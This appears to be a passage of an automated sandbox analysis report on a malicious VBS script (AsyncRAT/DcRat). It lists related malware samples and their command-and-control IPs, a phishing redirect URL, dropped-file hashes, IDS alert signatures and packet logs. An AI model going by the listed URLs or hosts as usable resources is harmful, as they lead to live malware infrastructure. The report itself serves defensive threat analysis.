M247GB	https://u47113775.ct.sendgrid.net/ls/click?upn=u001.NLjCc2NrF5-2Fl1RHefgLH74dDCI-2FlQUMQCuknF0akr34-3DPZ74_Bz-2FoIC9YMuvgy8ZsoekpZ-2Fn96y0OCAueT5LjwQn-2FX25AbFWdd2iGOJMfOUDymLwSDnjLWUuKOfyExMHrLPQc6sWuvBEF4PT9PwlcB-2BK9NQmoQucfLOeGSzPQg4J-2Bvn2C-2FT7DBGI3L6HQml9TPdefbzANw58o8IwtiN3AMNw21dRhcIy1JE5InQL6ZhzyniB-2FPrKB2Vn9uUJ7Mm1QrvUZh95-2FIqg1tkHnn-2FLCgLCOHUCdp1zwu5x-2Fprfv3kPHwI33RA9-2FJGY9xYPl-2BGH4uHP30vXeaFOwuVkWjx1bpQcAiato1uxhbL8AJAqpgT-2Bg5yQp7xXBACsCORIJr0VehkYFdFdFkgZPx7KSQblwloMm5OUc-2B9bb1d0siCBq5u36Pp2iCgmhq5PmipxmWr1HvrLZkdUUXJjpaRdjjEopb-2Fhw3b-2BUOpmNbUIJywjWyMBcUA9ScKtkpotTga2qo5ZaX-2B7AVyqz8KXtUfTb8SopobzuOWPiU-2BhBa8i7lRIGGQBQZmYU1TWv5mQ8uRPPf-2FWdH9RREF8cMLDET4k24yu8dJdqteeATx8Jfw8MWOWehX6ZTxJWGswooAVOvW116fDJmFNO-2F-2BecR-2Fd9NmRwCYnnK4Bh3IM-3D	Get hash	malicious	HTMLPhisher	Browse	172.86.79.8
	1bhYyrjyNk.vbs	Get hash	malicious	Unknown	Browse	172.86.98.166
	WQRNV7bMS5.vbs	Get hash	malicious	Unknown	Browse	172.86.98.166
	6L9vCf48mN.vbs	Get hash	malicious	Unknown	Browse	172.86.98.166
	sostener.vbs	Get hash	malicious	AsyncRAT, DcRat	Browse	91.202.233.169
	https://timetraveltv.com/actions/cart_update.php?currency=GBP&return_url=https://blog.acelyaokcu.com/m/?c3Y9bzM2NV8xX29uZSZyYW5kPVdrcFNRMHM9JnVpZD1VU0VSMDkwOTIwMjRVMTIwOTA5MDE=N0123N%5BEMAIL	Get hash	malicious	Unknown	Browse	195.8.197.149
	C6DAEyTs7d.rtf	Get hash	malicious	Remcos	Browse	89.238.176.21
	file.exe	Get hash	malicious	Remcos, GuLoader	Browse	172.111.244.109
	New_Order-Rquest_Quotation_Specifications_Drawings_Samplespdf.bat.exe	Get hash	malicious	Remcos, GuLoader	Browse	172.111.244.109
	PO-2609202412666 PNG2023-W101_pdf.bat.exe	Get hash	malicious	Remcos, GuLoader	Browse	172.111.244.109
LRTC-ASLT	172771704470d2405c797286a7d66ed6085690f2346b0873f84a2d4bbbbfed17373d12cd4f758.dat-decoded.exe	Get hash	malicious	AsyncRAT, DcRat	Browse	89.117.23.22
	sostener.vbs	Get hash	malicious	AsyncRAT, DcRat	Browse	89.117.23.22
	mipsel.elf	Get hash	malicious	Gafgyt, Mirai	Browse	89.117.23.69
	shelld.x86.elf	Get hash	malicious	Gafgyt, Mirai	Browse	89.117.23.69
	ppc.elf	Get hash	malicious	Gafgyt, Mirai	Browse	89.117.23.69
	arm61.elf	Get hash	malicious	Gafgyt, Mirai	Browse	89.117.23.69
	sh4.elf	Get hash	malicious	Gafgyt, Mirai	Browse	89.117.23.69
	586.elf	Get hash	malicious	Gafgyt, Mirai	Browse	89.117.23.69
	dss.elf	Get hash	malicious	Gafgyt, Mirai	Browse	89.117.23.69
	mips.elf	Get hash	malicious	Gafgyt, Mirai	Browse	89.117.23.69

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.773832331134527
Encrypted:	false
SSDEEP:	3:NlllulI:NllU
MD5:	132C26A05F791EF716632B05AFDD4127
SHA1:	36CABE22E212DA474C7CFA2BE6EA2FDDA847B26C
SHA-256:	D91AC8ABA939D15BFA7B1138AF2203B931BD05180CE599FDA34F26B06BD14044
SHA-512:	4D80C1BD6BCC1358A59C1056CA12026752EAF29CD7014B6D0ABF1228CDAF042A573344C002937EE218701055B7824A6ED6F1E1394188A86AD468060040BBC7A4
Malicious:	false
Reputation:	low
Preview:	@...e.................................6.S.......................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3tt2wolv.5lp.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	high, very likely benign file
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_t0ugkguh.4gx.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	high, very likely benign file
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wmyv2swh.v3z.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yxbjuoro.p31.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

Static File Info

General

File type:	Unicode text, UTF-16, little-endian text, with very long lines (10001), with CRLF line terminators
Entropy (8bit):	4.47118382587944
TrID:	Text - UTF-16 (LE) encoded (2002/1) 66.67% MP3 audio (1001/1) 33.33%
File name:	sostener.vbs
File size:	1'977'486 bytes
MD5:	640864bd8dcc33f7191cea6e8794a386
SHA1:	6b651ed9e576d72b6c53e975e555572701fe2681
SHA256:	5b30c27eaca00c51aa594df7273f8e24d84d08a6c085147697e21b082e3e7812
SHA512:	ac0b98a599ae60043b4d652d7f2826f26918ae6eb2f99f2dec7c14b34d74bea25264da0962eef619e1c72f67d181c4a1c1d52a71a5d7e734869a18300805cc11
SSDEEP:	3072:BiiiiiiiiiiiiiiiiiiiiUiiiiiiiiiiiiiiiiiiiihiiiiiiiiiiiiiiiiiiiij:8
TLSH:	B995F0A2314F7DB29346EE29E4718228461B57470B63F50D8C29D6E385702B3DACBED7
File Content Preview:	......'.Z.].X...d.>.n...;.d.I...l.&.a.i.+.7.+.W...3.b...W...I...l./._...Q.6.6._...l.6.L.H.l.<. .#.G.[.(.o...W._.\.U.d.m.P.X.+.V.;.V.R.m.>.E...&.:...8.).U..._.b.6...........7...a.g...........K.S.....R.f.5...W.o.e.-.;...o.S.a...d._.H.l...R.o.....K...-.Y...K

File Icon


Icon Hash:	68d69b8f86ab9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-01T06:29:58.030429+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49730	91.202.233.169	80	TCP
2024-10-01T06:29:58.378098+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49730	91.202.233.169	80	TCP
2024-10-01T06:29:58.380252+0200	2020424	ET EXPLOIT_KIT Unknown EK Landing Feb 16 2015 b64 2 M1	1	91.202.233.169	80	192.168.2.4	49730	TCP
2024-10-01T06:30:19.591904+0200	2842478	ETPRO JA3 Hash - Suspected ASYNCRAT Server Cert (ja3s)	1	89.117.23.22	4455	192.168.2.4	49737	TCP
2024-10-01T06:30:19.591904+0200	2034847	ET MALWARE Observed Malicious SSL Cert (AsyncRAT)	1	89.117.23.22	4455	192.168.2.4	49737	TCP
2024-10-01T06:30:19.591904+0200	2848048	ETPRO MALWARE Observed Malicious SSL Cert (AsyncRAT)	1	89.117.23.22	4455	192.168.2.4	49737	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 1, 2024 06:29:57.020984888 CEST	49730	80	192.168.2.4	91.202.233.169
Oct 1, 2024 06:29:57.026159048 CEST	80	49730	91.202.233.169	192.168.2.4
Oct 1, 2024 06:29:57.026267052 CEST	49730	80	192.168.2.4	91.202.233.169
Oct 1, 2024 06:29:57.026890039 CEST	49730	80	192.168.2.4	91.202.233.169
Oct 1, 2024 06:29:57.031725883 CEST	80	49730	91.202.233.169	192.168.2.4
Oct 1, 2024 06:29:57.720839977 CEST	80	49730	91.202.233.169	192.168.2.4
Oct 1, 2024 06:29:57.720897913 CEST	80	49730	91.202.233.169	192.168.2.4
Oct 1, 2024 06:29:57.720928907 CEST	80	49730	91.202.233.169	192.168.2.4
Oct 1, 2024 06:29:57.720961094 CEST	80	49730	91.202.233.169	192.168.2.4
Oct 1, 2024 06:29:57.720988989 CEST	49730	80	192.168.2.4	91.202.233.169
Oct 1, 2024 06:29:57.720993996 CEST	80	49730	91.202.233.169	192.168.2.4
Oct 1, 2024 06:29:57.721028090 CEST	80	49730	91.202.233.169	192.168.2.4
Oct 1, 2024 06:29:57.721049070 CEST	49730	80	192.168.2.4	91.202.233.169
Oct 1, 2024 06:29:57.721061945 CEST	80	49730	91.202.233.169	192.168.2.4
Oct 1, 2024 06:29:57.721084118 CEST	49730	80	192.168.2.4	91.202.233.169
Oct 1, 2024 06:29:57.721093893 CEST	80	49730	91.202.233.169	192.168.2.4
Oct 1, 2024 06:29:57.721126080 CEST	80	49730	91.202.233.169	192.168.2.4
Oct 1, 2024 06:29:57.721137047 CEST	49730	80	192.168.2.4	91.202.233.169
Oct 1, 2024 06:29:57.721159935 CEST	80	49730	91.202.233.169	192.168.2.4
Oct 1, 2024 06:29:57.721200943 CEST	49730	80	192.168.2.4	91.202.233.169
Oct 1, 2024 06:29:57.726119041 CEST	80	49730	91.202.233.169	192.168.2.4
Oct 1, 2024 06:29:57.770286083 CEST	49730	80	192.168.2.4	91.202.233.169
Oct 1, 2024 06:29:57.808377028 CEST	49730	80	192.168.2.4	91.202.233.169
Oct 1, 2024 06:29:57.813178062 CEST	80	49730	91.202.233.169	192.168.2.4
Oct 1, 2024 06:29:58.030160904 CEST	80	49730	91.202.233.169	192.168.2.4
Oct 1, 2024 06:29:58.030205011 CEST	80	49730	91.202.233.169	192.168.2.4
Oct 1, 2024 06:29:58.030261993 CEST	80	49730	91.202.233.169	192.168.2.4
Oct 1, 2024 06:29:58.030428886 CEST	49730	80	192.168.2.4	91.202.233.169
Oct 1, 2024 06:29:58.030477047 CEST	80	49730	91.202.233.169	192.168.2.4
Oct 1, 2024 06:29:58.030509949 CEST	80	49730	91.202.233.169	192.168.2.4
Oct 1, 2024 06:29:58.030544043 CEST	80	49730	91.202.233.169	192.168.2.4
Oct 1, 2024 06:29:58.030544996 CEST	49730	80	192.168.2.4	91.202.233.169
Oct 1, 2024 06:29:58.030571938 CEST	80	49730	91.202.233.169	192.168.2.4
Oct 1, 2024 06:29:58.030599117 CEST	49730	80	192.168.2.4	91.202.233.169
Oct 1, 2024 06:29:58.030854940 CEST	80	49730	91.202.233.169	192.168.2.4
Oct 1, 2024 06:29:58.030881882 CEST	80	49730	91.202.233.169	192.168.2.4
Oct 1, 2024 06:29:58.030908108 CEST	49730	80	192.168.2.4	91.202.233.169
Oct 1, 2024 06:29:58.030972004 CEST	80	49730	91.202.233.169	192.168.2.4
Oct 1, 2024 06:29:58.030998945 CEST	80	49730	91.202.233.169	192.168.2.4
Oct 1, 2024 06:29:58.031019926 CEST	49730	80	192.168.2.4	91.202.233.169
Oct 1, 2024 06:29:58.031214952 CEST	80	49730	91.202.233.169	192.168.2.4
Oct 1, 2024 06:29:58.031246901 CEST	80	49730	91.202.233.169	192.168.2.4
Oct 1, 2024 06:29:58.031264067 CEST	49730	80	192.168.2.4	91.202.233.169
Oct 1, 2024 06:29:58.031280041 CEST	80	49730	91.202.233.169	192.168.2.4
Oct 1, 2024 06:29:58.031311989 CEST	80	49730	91.202.233.169	192.168.2.4
Oct 1, 2024 06:29:58.031327009 CEST	49730	80	192.168.2.4	91.202.233.169
Oct 1, 2024 06:29:58.031802893 CEST	80	49730	91.202.233.169	192.168.2.4
Oct 1, 2024 06:29:58.031855106 CEST	49730	80	192.168.2.4	91.202.233.169
Oct 1, 2024 06:29:58.031932116 CEST	80	49730	91.202.233.169	192.168.2.4
Oct 1, 2024 06:29:58.031965017 CEST	80	49730	91.202.233.169	192.168.2.4
Oct 1, 2024 06:29:58.032011986 CEST	49730	80	192.168.2.4	91.202.233.169
Oct 1, 2024 06:29:58.032300949 CEST	80	49730	91.202.233.169	192.168.2.4
Oct 1, 2024 06:29:58.032331944 CEST	80	49730	91.202.233.169	192.168.2.4
Oct 1, 2024 06:29:58.032365084 CEST	80	49730	91.202.233.169	192.168.2.4
Oct 1, 2024 06:29:58.032376051 CEST	49730	80	192.168.2.4	91.202.233.169
Oct 1, 2024 06:29:58.035586119 CEST	80	49730	91.202.233.169	192.168.2.4
Oct 1, 2024 06:29:58.035634995 CEST	80	49730	91.202.233.169	192.168.2.4
Oct 1, 2024 06:29:58.035645008 CEST	49730	80	192.168.2.4	91.202.233.169
Oct 1, 2024 06:29:58.035672903 CEST	80	49730	91.202.233.169	192.168.2.4
Oct 1, 2024 06:29:58.035706997 CEST	80	49730	91.202.233.169	192.168.2.4
Oct 1, 2024 06:29:58.035720110 CEST	49730	80	192.168.2.4	91.202.233.169
Oct 1, 2024 06:29:58.035743952 CEST	80	49730	91.202.233.169	192.168.2.4
Oct 1, 2024 06:29:58.035790920 CEST	49730	80	192.168.2.4	91.202.233.169
Oct 1, 2024 06:29:58.153285980 CEST	80	49730	91.202.233.169	192.168.2.4
Oct 1, 2024 06:29:58.153366089 CEST	80	49730	91.202.233.169	192.168.2.4
Oct 1, 2024 06:29:58.153400898 CEST	80	49730	91.202.233.169	192.168.2.4
Oct 1, 2024 06:29:58.153446913 CEST	80	49730	91.202.233.169	192.168.2.4
Oct 1, 2024 06:29:58.153484106 CEST	80	49730	91.202.233.169	192.168.2.4
Oct 1, 2024 06:29:58.153546095 CEST	49730	80	192.168.2.4	91.202.233.169
Oct 1, 2024 06:29:58.153546095 CEST	49730	80	192.168.2.4	91.202.233.169
Oct 1, 2024 06:29:58.153572083 CEST	80	49730	91.202.233.169	192.168.2.4
Oct 1, 2024 06:29:58.153606892 CEST	80	49730	91.202.233.169	192.168.2.4
Oct 1, 2024 06:29:58.153630972 CEST	49730	80	192.168.2.4	91.202.233.169
Oct 1, 2024 06:29:58.153640032 CEST	80	49730	91.202.233.169	192.168.2.4
Oct 1, 2024 06:29:58.153673887 CEST	80	49730	91.202.233.169	192.168.2.4
Oct 1, 2024 06:29:58.153692007 CEST	49730	80	192.168.2.4	91.202.233.169
Oct 1, 2024 06:29:58.153713942 CEST	80	49730	91.202.233.169	192.168.2.4
Oct 1, 2024 06:29:58.153747082 CEST	80	49730	91.202.233.169	192.168.2.4
Oct 1, 2024 06:29:58.153770924 CEST	49730	80	192.168.2.4	91.202.233.169
Oct 1, 2024 06:29:58.154123068 CEST	80	49730	91.202.233.169	192.168.2.4
Oct 1, 2024 06:29:58.154153109 CEST	80	49730	91.202.233.169	192.168.2.4
Oct 1, 2024 06:29:58.154180050 CEST	49730	80	192.168.2.4	91.202.233.169
Oct 1, 2024 06:29:58.154206991 CEST	80	49730	91.202.233.169	192.168.2.4
Oct 1, 2024 06:29:58.154241085 CEST	80	49730	91.202.233.169	192.168.2.4
Oct 1, 2024 06:29:58.154262066 CEST	49730	80	192.168.2.4	91.202.233.169
Oct 1, 2024 06:29:58.154272079 CEST	80	49730	91.202.233.169	192.168.2.4
Oct 1, 2024 06:29:58.154305935 CEST	80	49730	91.202.233.169	192.168.2.4
Oct 1, 2024 06:29:58.154328108 CEST	49730	80	192.168.2.4	91.202.233.169
Oct 1, 2024 06:29:58.154341936 CEST	80	49730	91.202.233.169	192.168.2.4
Oct 1, 2024 06:29:58.154392958 CEST	49730	80	192.168.2.4	91.202.233.169
Oct 1, 2024 06:29:58.154606104 CEST	80	49730	91.202.233.169	192.168.2.4
Oct 1, 2024 06:29:58.154638052 CEST	80	49730	91.202.233.169	192.168.2.4
Oct 1, 2024 06:29:58.154671907 CEST	80	49730	91.202.233.169	192.168.2.4
Oct 1, 2024 06:29:58.154691935 CEST	49730	80	192.168.2.4	91.202.233.169
Oct 1, 2024 06:29:58.154704094 CEST	80	49730	91.202.233.169	192.168.2.4
Oct 1, 2024 06:29:58.154736996 CEST	80	49730	91.202.233.169	192.168.2.4
Oct 1, 2024 06:29:58.154759884 CEST	49730	80	192.168.2.4	91.202.233.169
Oct 1, 2024 06:29:58.154853106 CEST	80	49730	91.202.233.169	192.168.2.4
Oct 1, 2024 06:29:58.154913902 CEST	49730	80	192.168.2.4	91.202.233.169
Oct 1, 2024 06:29:58.154999018 CEST	80	49730	91.202.233.169	192.168.2.4
Oct 1, 2024 06:29:58.155031919 CEST	80	49730	91.202.233.169	192.168.2.4
Oct 1, 2024 06:29:58.155080080 CEST	80	49730	91.202.233.169	192.168.2.4
Oct 1, 2024 06:29:58.155092001 CEST	49730	80	192.168.2.4	91.202.233.169
Oct 1, 2024 06:29:58.155128956 CEST	80	49730	91.202.233.169	192.168.2.4
Oct 1, 2024 06:29:58.155163050 CEST	80	49730	91.202.233.169	192.168.2.4
Oct 1, 2024 06:29:58.155184031 CEST	49730	80	192.168.2.4	91.202.233.169
Oct 1, 2024 06:29:58.156641006 CEST	49730	80	192.168.2.4	91.202.233.169
Oct 1, 2024 06:29:58.161591053 CEST	80	49730	91.202.233.169	192.168.2.4
Oct 1, 2024 06:29:58.377931118 CEST	80	49730	91.202.233.169	192.168.2.4
Oct 1, 2024 06:29:58.377969027 CEST	80	49730	91.202.233.169	192.168.2.4
Oct 1, 2024 06:29:58.378001928 CEST	80	49730	91.202.233.169	192.168.2.4
Oct 1, 2024 06:29:58.378052950 CEST	80	49730	91.202.233.169	192.168.2.4
Oct 1, 2024 06:29:58.378084898 CEST	80	49730	91.202.233.169	192.168.2.4
Oct 1, 2024 06:29:58.378098011 CEST	49730	80	192.168.2.4	91.202.233.169
Oct 1, 2024 06:29:58.378119946 CEST	80	49730	91.202.233.169	192.168.2.4
Oct 1, 2024 06:29:58.378139973 CEST	49730	80	192.168.2.4	91.202.233.169
Oct 1, 2024 06:29:58.378155947 CEST	80	49730	91.202.233.169	192.168.2.4
Oct 1, 2024 06:29:58.378181934 CEST	49730	80	192.168.2.4	91.202.233.169
Oct 1, 2024 06:29:58.378190994 CEST	80	49730	91.202.233.169	192.168.2.4
Oct 1, 2024 06:29:58.378226042 CEST	80	49730	91.202.233.169	192.168.2.4
Oct 1, 2024 06:29:58.378259897 CEST	80	49730	91.202.233.169	192.168.2.4
Oct 1, 2024 06:29:58.378274918 CEST	49730	80	192.168.2.4	91.202.233.169
Oct 1, 2024 06:29:58.378321886 CEST	49730	80	192.168.2.4	91.202.233.169
Oct 1, 2024 06:29:58.378361940 CEST	80	49730	91.202.233.169	192.168.2.4
Oct 1, 2024 06:29:58.378416061 CEST	80	49730	91.202.233.169	192.168.2.4
Oct 1, 2024 06:29:58.378469944 CEST	80	49730	91.202.233.169	192.168.2.4
Oct 1, 2024 06:29:58.378474951 CEST	49730	80	192.168.2.4	91.202.233.169
Oct 1, 2024 06:29:58.378520012 CEST	80	49730	91.202.233.169	192.168.2.4
Oct 1, 2024 06:29:58.378554106 CEST	80	49730	91.202.233.169	192.168.2.4
Oct 1, 2024 06:29:58.378573895 CEST	49730	80	192.168.2.4	91.202.233.169
Oct 1, 2024 06:29:58.378586054 CEST	80	49730	91.202.233.169	192.168.2.4
Oct 1, 2024 06:29:58.378638029 CEST	49730	80	192.168.2.4	91.202.233.169
Oct 1, 2024 06:29:58.378874063 CEST	80	49730	91.202.233.169	192.168.2.4
Oct 1, 2024 06:29:58.378925085 CEST	80	49730	91.202.233.169	192.168.2.4
Oct 1, 2024 06:29:58.378961086 CEST	80	49730	91.202.233.169	192.168.2.4
Oct 1, 2024 06:29:58.378978968 CEST	49730	80	192.168.2.4	91.202.233.169
Oct 1, 2024 06:29:58.378993988 CEST	80	49730	91.202.233.169	192.168.2.4
Oct 1, 2024 06:29:58.379026890 CEST	80	49730	91.202.233.169	192.168.2.4
Oct 1, 2024 06:29:58.379048109 CEST	49730	80	192.168.2.4	91.202.233.169
Oct 1, 2024 06:29:58.379060030 CEST	80	49730	91.202.233.169	192.168.2.4
Oct 1, 2024 06:29:58.379115105 CEST	49730	80	192.168.2.4	91.202.233.169
Oct 1, 2024 06:29:58.379323959 CEST	80	49730	91.202.233.169	192.168.2.4
Oct 1, 2024 06:29:58.379374027 CEST	80	49730	91.202.233.169	192.168.2.4
Oct 1, 2024 06:29:58.379422903 CEST	80	49730	91.202.233.169	192.168.2.4
Oct 1, 2024 06:29:58.379440069 CEST	49730	80	192.168.2.4	91.202.233.169
Oct 1, 2024 06:29:58.379456997 CEST	80	49730	91.202.233.169	192.168.2.4
Oct 1, 2024 06:29:58.379488945 CEST	80	49730	91.202.233.169	192.168.2.4
Oct 1, 2024 06:29:58.379506111 CEST	49730	80	192.168.2.4	91.202.233.169
Oct 1, 2024 06:29:58.379522085 CEST	80	49730	91.202.233.169	192.168.2.4
Oct 1, 2024 06:29:58.379554033 CEST	80	49730	91.202.233.169	192.168.2.4
Oct 1, 2024 06:29:58.379585028 CEST	49730	80	192.168.2.4	91.202.233.169
Oct 1, 2024 06:29:58.379589081 CEST	80	49730	91.202.233.169	192.168.2.4
Oct 1, 2024 06:29:58.379664898 CEST	49730	80	192.168.2.4	91.202.233.169
Oct 1, 2024 06:29:58.379879951 CEST	80	49730	91.202.233.169	192.168.2.4
Oct 1, 2024 06:29:58.379934072 CEST	80	49730	91.202.233.169	192.168.2.4
Oct 1, 2024 06:29:58.379975080 CEST	49730	80	192.168.2.4	91.202.233.169
Oct 1, 2024 06:29:58.379982948 CEST	80	49730	91.202.233.169	192.168.2.4
Oct 1, 2024 06:29:58.380033016 CEST	80	49730	91.202.233.169	192.168.2.4
Oct 1, 2024 06:29:58.380064964 CEST	80	49730	91.202.233.169	192.168.2.4
Oct 1, 2024 06:29:58.380079985 CEST	49730	80	192.168.2.4	91.202.233.169
Oct 1, 2024 06:29:58.380098104 CEST	80	49730	91.202.233.169	192.168.2.4
Oct 1, 2024 06:29:58.380131006 CEST	80	49730	91.202.233.169	192.168.2.4
Oct 1, 2024 06:29:58.380143881 CEST	49730	80	192.168.2.4	91.202.233.169
Oct 1, 2024 06:29:58.380165100 CEST	80	49730	91.202.233.169	192.168.2.4
Oct 1, 2024 06:29:58.380196095 CEST	80	49730	91.202.233.169	192.168.2.4
Oct 1, 2024 06:29:58.380213022 CEST	49730	80	192.168.2.4	91.202.233.169
Oct 1, 2024 06:29:58.380251884 CEST	80	49730	91.202.233.169	192.168.2.4
Oct 1, 2024 06:29:58.380285978 CEST	80	49730	91.202.233.169	192.168.2.4
Oct 1, 2024 06:29:58.380296946 CEST	49730	80	192.168.2.4	91.202.233.169
Oct 1, 2024 06:29:58.380820990 CEST	80	49730	91.202.233.169	192.168.2.4
Oct 1, 2024 06:29:58.380856037 CEST	80	49730	91.202.233.169	192.168.2.4
Oct 1, 2024 06:29:58.380865097 CEST	49730	80	192.168.2.4	91.202.233.169
Oct 1, 2024 06:29:58.380888939 CEST	80	49730	91.202.233.169	192.168.2.4
Oct 1, 2024 06:29:58.380934954 CEST	49730	80	192.168.2.4	91.202.233.169
Oct 1, 2024 06:29:58.380939960 CEST	80	49730	91.202.233.169	192.168.2.4
Oct 1, 2024 06:29:58.380973101 CEST	80	49730	91.202.233.169	192.168.2.4
Oct 1, 2024 06:29:58.381022930 CEST	80	49730	91.202.233.169	192.168.2.4
Oct 1, 2024 06:29:58.381028891 CEST	49730	80	192.168.2.4	91.202.233.169
Oct 1, 2024 06:29:58.381056070 CEST	80	49730	91.202.233.169	192.168.2.4
Oct 1, 2024 06:29:58.381088972 CEST	80	49730	91.202.233.169	192.168.2.4
Oct 1, 2024 06:29:58.381100893 CEST	49730	80	192.168.2.4	91.202.233.169
Oct 1, 2024 06:29:58.381122112 CEST	80	49730	91.202.233.169	192.168.2.4
Oct 1, 2024 06:29:58.381155968 CEST	80	49730	91.202.233.169	192.168.2.4
Oct 1, 2024 06:29:58.381165981 CEST	49730	80	192.168.2.4	91.202.233.169
Oct 1, 2024 06:29:58.381191015 CEST	80	49730	91.202.233.169	192.168.2.4
Oct 1, 2024 06:29:58.381234884 CEST	49730	80	192.168.2.4	91.202.233.169
Oct 1, 2024 06:29:58.381798983 CEST	80	49730	91.202.233.169	192.168.2.4
Oct 1, 2024 06:29:58.381850958 CEST	80	49730	91.202.233.169	192.168.2.4
Oct 1, 2024 06:29:58.381886005 CEST	80	49730	91.202.233.169	192.168.2.4
Oct 1, 2024 06:29:58.381899118 CEST	49730	80	192.168.2.4	91.202.233.169
Oct 1, 2024 06:29:58.381920099 CEST	80	49730	91.202.233.169	192.168.2.4
Oct 1, 2024 06:29:58.381954908 CEST	80	49730	91.202.233.169	192.168.2.4
Oct 1, 2024 06:29:58.381966114 CEST	49730	80	192.168.2.4	91.202.233.169
Oct 1, 2024 06:29:58.426542997 CEST	49730	80	192.168.2.4	91.202.233.169
Oct 1, 2024 06:29:58.484679937 CEST	49730	80	192.168.2.4	91.202.233.169
Oct 1, 2024 06:30:18.973164082 CEST	49737	4455	192.168.2.4	89.117.23.22
Oct 1, 2024 06:30:18.978060961 CEST	4455	49737	89.117.23.22	192.168.2.4
Oct 1, 2024 06:30:18.978147030 CEST	49737	4455	192.168.2.4	89.117.23.22
Oct 1, 2024 06:30:18.988738060 CEST	49737	4455	192.168.2.4	89.117.23.22
Oct 1, 2024 06:30:18.993608952 CEST	4455	49737	89.117.23.22	192.168.2.4
Oct 1, 2024 06:30:19.580396891 CEST	4455	49737	89.117.23.22	192.168.2.4
Oct 1, 2024 06:30:19.586956024 CEST	49737	4455	192.168.2.4	89.117.23.22
Oct 1, 2024 06:30:19.591903925 CEST	4455	49737	89.117.23.22	192.168.2.4
Oct 1, 2024 06:30:19.765727043 CEST	4455	49737	89.117.23.22	192.168.2.4
Oct 1, 2024 06:30:19.817204952 CEST	49737	4455	192.168.2.4	89.117.23.22
Oct 1, 2024 06:30:20.027303934 CEST	49737	4455	192.168.2.4	89.117.23.22
Oct 1, 2024 06:30:20.032136917 CEST	4455	49737	89.117.23.22	192.168.2.4
Oct 1, 2024 06:30:20.032202005 CEST	49737	4455	192.168.2.4	89.117.23.22
Oct 1, 2024 06:30:20.036998034 CEST	4455	49737	89.117.23.22	192.168.2.4
Oct 1, 2024 06:30:30.252516985 CEST	4455	49737	89.117.23.22	192.168.2.4
Oct 1, 2024 06:30:30.301619053 CEST	49737	4455	192.168.2.4	89.117.23.22
Oct 1, 2024 06:30:30.387494087 CEST	4455	49737	89.117.23.22	192.168.2.4
Oct 1, 2024 06:30:30.442240000 CEST	49737	4455	192.168.2.4	89.117.23.22
Oct 1, 2024 06:30:31.005526066 CEST	49737	4455	192.168.2.4	89.117.23.22
Oct 1, 2024 06:30:31.010627031 CEST	4455	49737	89.117.23.22	192.168.2.4
Oct 1, 2024 06:30:31.010696888 CEST	49737	4455	192.168.2.4	89.117.23.22
Oct 1, 2024 06:30:31.015693903 CEST	4455	49737	89.117.23.22	192.168.2.4
Oct 1, 2024 06:30:31.296649933 CEST	4455	49737	89.117.23.22	192.168.2.4
